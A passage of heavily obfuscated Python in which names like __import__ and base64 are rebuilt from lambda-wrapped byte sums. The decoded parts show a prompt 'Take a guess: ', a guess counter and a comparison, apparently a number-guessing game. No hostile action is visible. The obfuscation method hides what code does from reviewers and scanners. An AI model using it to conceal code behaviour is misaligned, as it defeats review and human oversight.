w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))](__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'VGFrZSBhIGd1ZXNzOiA=').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8'))))))))))))))))))))))))))) + __1068350856__ += int(__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))).b64decode(b'MQ==').decode(bytes([(lambda J: J + (J - J))(13 + 55 + 36 + 6 + 7), (lambda b: b + (b - b))(54 + 34 + 13 + 2 + 10 + 1 + 1 + 1), (lambda V: V + (V - V))(44 + 12 + 16 + 29 + 1), (lambda b: b + (b - b))(10 + 32 + 2 + 1), (lambda x: x + (x - x))(27 + 22 + 7)]).decode(bytes([(lambda k: k + (k - k))(24 + 36 + 57), (lambda F: F + (F - F))(12 + 78 + 19 + 7), (lambda U: U + (U - U))(99 + 3), (lambda b: b + (b - b))(36 + 7 + 1 + 1), (lambda e: e + (e - e))(20 + 15 + 21)]).decode(bytes([(lambda O: O + (O - O))(21 + 56 + 31 + 5 + 4), (lambda a: a + (a - a))(26 + 7 + 61 + 13 + 4 + 5), (lambda F: F + (F - F))(83 + 18 + 1), (lambda I: I + (I - I))(13 + 19 + 1 + 10 + 2), (lambda y: y + (y - y))(5 + 31 + 9 + 1 + 4 + 4 + 1 + 1)]).decode(bytes([(lambda m: m + (m - m))(91 + 18 + 7 + 1), (lambda q: q + (q - q))(8 + 65 + 29 + 7 + 7), (lambda k: k + (k - k))(87 + 5 + 2 + 6 + 1 + 1), (lambda Q: Q + (Q - Q))(17 + 12 + 15 + 1), (lambda h: h + (h - h))(26 + 18 + 11 + 1)]).decode(bytes([(lambda E: E + (E - E))(14 + 98 + 4 + 1), (lambda Y: Y + (Y - Y))(13 + 53 + 8 + 17 + 24 + 1), (lambda V: V + (V - V))(98 + 1 + 2 + 1), (lambda k: k + (k - k))(42 + 1 + 1 + 1), (lambda s: s + (s - s))(31 + 19 + 4 + 2)]).decode(bytes([(lambda w: w + (w - w))(99 + 7 + 6 + 4 + 1), (lambda u: u + (u - u))(37 + 10 + 63 + 5 + 1), (lambda p: p + (p - p))(94 + 5 + 1 + 1 + 1), (lambda L: L + (L - L))(22 + 16 + 1 + 4 + 1 + 1), (lambda M: M + (M - M))(5 + 37 + 11 + 1 + 2)]).decode(bytes([(lambda V: V + (V - V))(68 + 33 + 8 + 2 + 2 + 3 + 1), (lambda r: r + (r - r))(110 + 3 + 1 + 2), (lambda l: l + (l - l))(69 + 25 + 2 + 1 + 5), (lambda A: A + (A - A))(21 + 9 + 2 + 12 + 1), (lambda a: a + (a - a))(17 + 23 + 14 + 1 + 1)]).decode(bytes([(lambda A: A + (A - A))(76 + 11 + 2 + 3 + 5 + 15 + 3 + 1 + 1), (lambda r: r + (r - r))(86 + 1 + 11 + 18), (lambda d: d + (d - d))(28 + 25 + 12 + 7 + 21 + 2 + 4 + 1 + 1 + 1), (lambda W: W + (W - W))(39 + 4 + 1 + 1), (lambda w: w + (w - w))(48 + 3 + 4 + 1)]).decode(bytes([(lambda A: A + (A - A))(47 + 22 + 13 + 30 + 4 + 1), (lambda I: I + (I - I))(2 + 94 + 6 + 6 + 2 + 6), (lambda q: q + (q - q))(52 + 31 + 16 + 1 + 1 + 1), (lambda c: c + (c - c))(3 + 32 + 10), (lambda o: o + (o - o))(55 + 1)]).decode(bytes([(lambda N: N + (N - N))(85 + 29 + 2 + 1), (lambda n: n + (n - n))(43 + 36 + 21 + 9 + 4 + 3), (lambda u: u + (u - u))(79 + 1 + 13 + 9), (lambda j: j + (j - j))(30 + 7 + 5 + 3), (lambda W: W + (W - W))(11 + 23 + 10 + 7 + 3 + 2)]).decode(bytes([(lambda O: O + (O - O))(76 + 3 + 25 + 4 + 7 + 2), (lambda e: e + (e - e))(45 + 41 + 13 + 13 + 4), (lambda t: t + (t - t))(97 + 2 + 3), (lambda e: e + (e - e))(45), (lambda R: R + (R - R))(33 + 20 + 3)]).decode(bytes([(lambda h: h + (h - h))(77 + 23 + 10 + 6 + 1), (lambda J: J + (J - J))(115 + 1), (lambda s: s + (s - s))(87 + 5 + 2 + 4 + 1 + 1 + 2), (lambda I: I + (I - I))(23 + 6 + 1 + 9 + 6), (lambda O: O + (O - O))(43 + 6 + 5 + 1 + 1)]).decode(bytes([(lambda Z: Z + (Z - Z))(70 + 40 + 3 + 2 + 2), (lambda c: c + (c - c))(107 + 2 + 4 + 3), (lambda W: W + (W - W))(78 + 23 + 1), (lambda e: e + (e - e))(19 + 13 + 9 + 1 + 3), (lambda s: s + (s - s))(46 + 6 + 4)]).decode(bytes([(lambda X: X + (X - X))(113 + 2 + 1 + 1), (lambda m: m + (m - m))(83 + 31 + 1 + 1), (lambda Z: Z + (Z - Z))(95 + 7), (lambda L: L + (L - L))(8 + 10 + 6 + 20 + 1), (lambda W: W + (W - W))(4 + 2 + 19 + 17 + 5 + 2 + 7)]).decode(bytes([(lambda T: T + (T - T))(22 + 15 + 38 + 19 + 10 + 9 + 3 + 1), (lambda J: J + (J - J))(100 + 11 + 3 + 1 + 1), (lambda v: v + (v - v))(68 + 1 + 4 + 23 + 6), (lambda A: A + (A - A))(33 + 7 + 2 + 2 + 1), (lambda p: p + (p - p))(23 + 21 + 7 + 1 + 4)]).decode(bytes([(lambda p: p + (p - p))(83 + 12 + 17 + 1 + 4), (lambda W: W + (W - W))(82 + 9 + 11 + 7 + 3 + 4), (lambda t: t + (t - t))(35 + 55 + 8 + 4), (lambda S: S + (S - S))(38 + 3 + 1 + 1 + 2), (lambda l: l + (l - l))(36 + 12 + 2 + 3 + 3)]).decode(bytes([(lambda Y: Y + (Y - Y))(48 + 42 + 6 + 9 + 7 + 2 + 3), (lambda S: S + (S - S))(69 + 27 + 8 + 10 + 1 + 1), (lambda w: w + (w - w))(18 + 25 + 34 + 22 + 3), (lambda T: T + (T - T))(23 + 6 + 6 + 8 + 1 + 1), (lambda y: y + (y - y))(33 + 7 + 3 + 6 + 3 + 1 + 3)]).decode(bytes([(lambda G: G + (G - G))(57 + 18 + 7 + 15 + 8 + 8 + 4), (lambda q: q + (q - q))(103 + 10 + 3), (lambda k: k + (k - k))(80 + 10 + 8 + 1 + 3), (lambda Q: Q + (Q - Q))(34 + 2 + 5 + 3 + 1), (lambda w: w + (w - w))(8 + 17 + 28 + 2 + 1)]).decode(bytes([(lambda T: T + (T - T))(35 + 63 + 9 + 3 + 1 + 5 + 1), (lambda m: m + (m - m))(44 + 16 + 6 + 16 + 15 + 12 + 3 + 3 + 1), (lambda Y: Y + (Y - Y))(31 + 9 + 48 + 4 + 6 + 3 + 1), (lambda t: t + (t - t))(20 + 21 + 2 + 1 + 1), (lambda U: U + (U - U))(11 + 20 + 25)]).decode(bytes([(lambda Y: Y + (Y - Y))(3 + 29 + 59 + 11 + 8 + 7), (lambda O: O + (O - O))(91 + 15 + 8 + 2), (lambda r: r + (r - r))(88 + 13 + 1), (lambda g: g + (g - g))(18 + 24 + 3), (lambda A: A + (A - A))(55 + 1)]).decode(bytes([(lambda v: v + (v - v))(12 + 103 + 2), (lambda j: j + (j - j))(96 + 4 + 16), (lambda o: o + (o - o))(89 + 9 + 4), (lambda p: p + (p - p))(37 + 2 + 3 + 1 + 2), (lambda Z: Z + (Z - Z))(24 + 14 + 13 + 3 + 2)]).decode(bytes([(lambda c: c + (c - c))(61 + 5 + 38 + 12 + 1), (lambda T: T + (T - T))(35 + 5 + 58 + 1 + 16 + 1), (lambda B: B + (B - B))(27 + 61 + 5 + 3 + 3 + 2 + 1), (lambda H: H + (H - H))(40 + 5), (lambda V: V + (V - V))(54 + 1 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))))))))))))))))))))))))) + if __5595505105__ < __3620605820__: + __builtins__.__dict__[__builtins__.__dict__[bytes([(lambda d: d + (d - d))(30 + 15 + 3 + 1 + 20 + 23 + 2 + 1), (lambda v: v + (v - v))(70 + 5 + 13 + 2 + 5), (lambda Y: Y + (Y - Y))(94 + 5 + 5 + 1), (lambda f: f + (f - f))(36 + 71 + 2), (lambda S: S + (S - S))(109 + 1 + 2), (lambda F: F + (F - F))(45 + 65 + 1), (lambda U: U + (U - U))(16 + 81 + 5 + 2 + 10), (lambda S: S + (S - S))(22 + 83 + 8 + 3), (lambda b: b + (b - b))(43 + 27 + 13 + 8 + 3 + 1), (lambda w: w + (w - w))(63 + 21 + 5 + 1 + 2 + 2 + 1)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 1)]).decode('utf-8')))](bytes([(lambda K: K + (K - K))(52 + 16 + 19 + 10 + 1), (lambda e: e + (e - e))(78 + 1 + 7 + 8 + 3), (lambda D: D + (D - D))(46 + 18 + 41 + 7 + 3), (lambda h: h + (h - h))(80 + 2 + 17 + 2), (lambda V: V + (V - V))(24 + 29 + 1), (lambda O: O + (O - O))(36 + 3 + 9 + 4)]).decode(bytes([(lambda j: j + (j - j))(11 + 55 + 20 + 18 + 6 + 6 + 1), (lambda y: y + (y - y))(60 + 9 + 34 + 4 + 7 + 2), (lambda F: F + (F - F))(75 + 20 + 7), (lambda L: L + (L - L))(21 + 23 + 1), (lambda O: O + (O - O))(31 + 4 + 15 + 6)]).decode(bytes([(lambda E: E + (E - E))(45 + 3 + 2 + 34 + 26 + 4 + 1 + 2), (lambda Q: Q + (Q - Q))(61 + 42 + 2 + 7 + 2 + 1 + 1), (lambda e: e + (e - e))(68 + 14 + 11 + 8 + 1), (lambda C: C + (C - C))(36 + 1 + 4 + 4), (lambda p: p + (p - p))(45 + 10 + 